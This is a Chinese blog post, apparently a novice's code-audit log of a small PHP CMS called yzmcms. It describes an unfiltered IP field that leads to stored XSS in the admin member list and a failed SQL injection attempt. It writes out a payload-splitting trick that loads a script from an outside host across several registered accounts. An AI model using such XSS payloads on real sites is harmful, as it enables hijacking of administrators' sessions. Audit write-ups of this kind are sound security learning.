代码审计学习(一)yzmcms

作者: 分类: 代码审计 时间: 2016-03-10 浏览: 3911 评论: 2条评论

最近系统的看了下细说php,补了下语法知识,感觉看代码顺畅多了。
开个这么久的分类终于开始上文章啦! 至于python版块... 再说吧..
说是cms,其实只是个同学写的小源码,不过作为初学者当做练习还是不错的。
ps:源码是从a5上下载的,传送门

首先看到core/global.func.php的一个函数

源码1.png

有戏,测试一下

测试1.png

直接写shell了,结果... 定义了不用 woc…

再看到同页面 getip函数

xss1.png

没有过滤 看看哪些地方调用了 一般注册,登陆和管理登陆的时候会用到ip
看到register.php

xss2.png

直接把$_POST插入 看看db类

xss3.png

看看safe_data方法

xss4.png

过滤了单引号 没有2次注入应该是不行了 试试xss

在admin/member_list.php(太长不截图)中ip是直接输出的 测试一下

xss测试.png

确实没有过滤,准备写exp的时候,发现ip字段长度只有15个字符 = =
怎么搞.. <script></script>都有17个字符了..

xss5.png

后来联想到<<xss跨站脚本攻击剖析与防御>>里的一个例子

<script src=http://xssnow.com/aaaa></script>变成
z="<script src=http://xssnow.com/aaaa><\/script>";document.write("z")的形式
用多个账户注册,利用注释,拆分成
z="<script ";/*
*/z+="src=h";/*
...
最后*/document.write("z")</script>

还是太长 主要是这个docment.write

后来想到把这个也放进字符串里然后*/eval(z)</script>
18个字符 多了3个.. 卡了很久

最后突然醒悟
*/eval(z)/*
*/</script>

心想 简直完美!(立下flag)

等我傻傻的添加了16个账号后突然发现... member_list 一页只显示10个账号 Orz(求xss表哥带飞)

目瞪口呆之后.. 默默的把页面调成一次显示20个账号安慰下自己受伤的心灵

xss6.png

心想 我的处女审就这么泡汤了? no way!

继续看了一晚上 finally member/messages.php页面

代码.png

直接写的语句,而不是用db类中的UPDATE,感觉有戏。看看to_sqls函数

代码2.png

这次还不完美?(再次立下flag),快速写出exp

姿势.png

结果.png

咦,感觉哪里不对? 位数... 突然想到..

代码3.png

感觉这种除了自己建彩虹表,应该没戏……

有兴趣的小伙伴可以下载审一下,有发现其他的漏洞请联系我,求学习,求交流。

标签: xsssqli

订阅本站(RSS)

已有 2 条评论

  1. 你的文章写得很好,学习了

    时间: 2016-03-10 at 20:09 回复
  2. 前来膜拜

    时间: 2016-04-04 at 18:55 回复

添加新评论